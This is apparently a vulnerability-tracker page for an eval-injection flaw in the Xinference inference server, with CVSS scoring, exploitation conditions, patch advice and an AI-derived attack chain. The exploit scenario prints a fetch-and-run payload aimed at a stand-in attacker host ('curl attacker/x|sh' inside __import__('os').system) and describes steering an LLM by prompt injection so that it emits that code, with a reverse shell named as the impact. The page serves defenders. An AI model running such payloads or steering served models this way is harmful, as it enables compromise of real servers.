Skip to main content

Xinference CVE-2026-61539

| EUVDEUVD-2026-64146 CRITICAL
Eval Injection (CWE-95)
2026-08-21 GitHub_M GHSA-x2rj-828p-hx9m
10.0
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach unauthenticated /v1/chat/completions
  2. Delivery
    Send tools request with injection-crafted prompt
  3. Exploit
    Model emits malicious Python expression
  4. Execution
    eval() executes it in server process
  5. Impact
    Run OS commands / reverse shell as server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the target to be using the Transformers backend serving a Llama3-style tool-calling model, and the attacker's request must include a tools field so the vulnerable tool-call post-processing path (_post_process_completion → extract_tool_calls/_eval_llama3_chat_arguments) is invoked. No authentication is needed in the default configuration because Xinference ships with auth disabled and the /v1/chat/completions endpoint is exposed (PR:N confirmed by CVSS and vendor). The principal limiting factor is that code execution is not direct: the attacker must reliably manipulate the model's generated output so it returns an executable Python expression (e.g. __import__('os').system(...)) rather than a benign dict - success depends on the specific model and prompt-injection reliability. Enabling authentication, restricting API network access, or not using Llama3 tool-calling each removes the condition.

Impact

Signals are strong but not uniform. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0) reflects unauthenticated network-reachable RCE, and the vendor confirms auth is off by default, so the exposure is real for any internet-facing instance. The important nuance is exploit reliability: the attacker does not inject Python directly - they must coax the served LLM into emitting a specific malicious Python expression that then reaches eval(). That model-steering step is probabilistic and model-dependent, which realistically raises attack complexity above the AC:L in the input vector (I assess AC:H). No EPSS score, KEV entry, or public weaponized exploit is present in the data, so this is not confirmed active exploitation - but the root cause is trivial and well-documented in the GHSA advisory (including a proof-of-concept payload), and the added regression tests in PR #4786 confirm the exact bug. Net: a genuine high-priority patch item, especially for exposed deployments, with the main real-world limiter being how consistently an attacker can force the target model's output.

Exploit ScenarioDerived

An attacker reaches an internet-exposed Xinference instance (auth off by default), sends a /v1/chat/completions request with a tools field and a crafted prompt engineered to make the served Llama3 model emit a Python expression such as __import__('os').system('curl attacker/x|sh'). During tool-call post-processing Xinference evaluates that expression with eval(), running the command in the server process. The GHSA advisory documents the mechanism and a touch /tmp/hacked style proof-of-concept, though no packaged public exploit was identified.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
1 PoC candidate (unverified) Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 21, 2026

Remote code execution in Xorbits Inference (Xinference) 2.5.0 and earlier lets a remote attacker run arbitrary OS commands in the server process by abusing an unsafe eval() in the Llama3 tool-call parser. Any request to the OpenAI-compatible /v1/chat/completions endpoint with a tools field triggers evaluation of model-generated Python, so an attacker who steers the model's output via a crafted prompt achieves full server compromise; because authentication is disabled in the default deployment, the vendor advisory rates this exploitable by an unauthenticated remote attacker. This is fixed in 2.7.0; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.

RemediationAI

Upgrade to Xinference 2.7.0, which replaces eval() with json.loads() plus an ast.literal_eval() fallback (safe literal parsing only) - Vendor-released patch: 2.7.0 (release https://github.com/xorbitsai/inference/releases/tag/v2.7.0; fix in PR https://github.com/xorbitsai/inference/pull/4786 and commit 1b3d220f342ce68d34cec4586d9409d457dadc42). If you cannot upgrade immediately, enable Xinference authentication so the /v1/chat/completions endpoint is not reachable unauthenticated (default deployments ship with auth disabled), and restrict network access to the API port to trusted clients only - trade-off: breaks anonymous/open access patterns. Avoid or disable Llama3 tool-calling (do not send the tools field to affected models) until patched, since the vulnerable code path only triggers on tool-call post-processing - trade-off: loses tool/function-calling capability. Run the server as a low-privilege, sandboxed/containerized user to limit blast radius of any successful eval. Full advisory: https://github.com/xorbitsai/inference/security/advisories/GHSA-x2rj-828p-hx9m.

Affected VersionsENISA

Inference < 2.7.0

Affected Packages

pypi xinference fix: 2.7.0
euvd inference fix: 2.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Xinference is an open-source inference server that exposes an OpenAI-compatible API for serving LLMs, speech, and multimodal models. The flaw is a classic CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, i.e. 'eval injection'): when the Transformers backend returns a non-streaming chat result containing tool calls, extract_tool_calls() in xinference/model/llm/tool_parsers/llama3_tool_parser.py (and the parallel _eval_llama3_chat_arguments() path in xinference/model/llm/utils.py) called Python's eval(model_output, {}, {}) to turn the model's dictionary-like string into an object. Empty globals/locals dicts are not a sandbox - Python builtins remain reachable, so an expression like __import__('os').system(...) or the ().__class__.__bases__[0].__subclasses__() gadget executes. The data path runs from restful_api.py through transformers/core.py, handle_chat_result_non_streaming(), and _post_process_completion(). CPE cpe:2.3:a:xorbitsai:inference identifies the affected package (pip/xinference).

Know when Inference gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

AV:N/PR:N because the endpoint is remote and unauthenticated by default; AC:H because exploitation depends on reliably steering the LLM to emit a malicious Python expression; S:U as code runs within the server process authority.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 21, 2026 - 21:02 EUVD
CVE Published
Aug 21, 2026 - 20:37 cve.org
CRITICAL 10.0

DescriptionCVE.org

Xinference is an inference API for running open-source, speech, and multimodal models. In 2.5.0 and earlier, Xinference passes attacker-influenced Llama3 tool-call output to eval() in xinference/model/llm/tool_parsers/llama3_tool_parser.py and xinference/model/llm/utils.py. Requests to /v1/chat/completions with a tools field flow through xinference/api/restful_api.py, xinference/model/llm/transformers/core.py, handle_chat_result_non_streaming(), and _post_process_completion() before extract_tool_calls() or _eval_llama3_chat_arguments() evaluates the model-generated Python expression. An unauthenticated remote attacker can influence that output through a crafted prompt and execute commands in the Xinference server process context. This issue is fixed in version 2.7.0.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Xorbits Inference (Xinference) versions 2.5.0 and earlier contain a critical remote code execution vulnerability accessible via the OpenAI-compatible chat endpoint that allows unauthenticated remote attackers to execute arbitrary OS commands on affected servers. Organizations running vulnerable versions risk complete server compromise, including unauthorized access to data and denial of service. Patching to version 2.7.0 is the highest priority to eliminate this attack vector.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 51% exploitable
Prevalence
Medium
popular open-source LLM inference server, common but not universal
Threat Intel
2
1 sources
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MAL CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

71
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy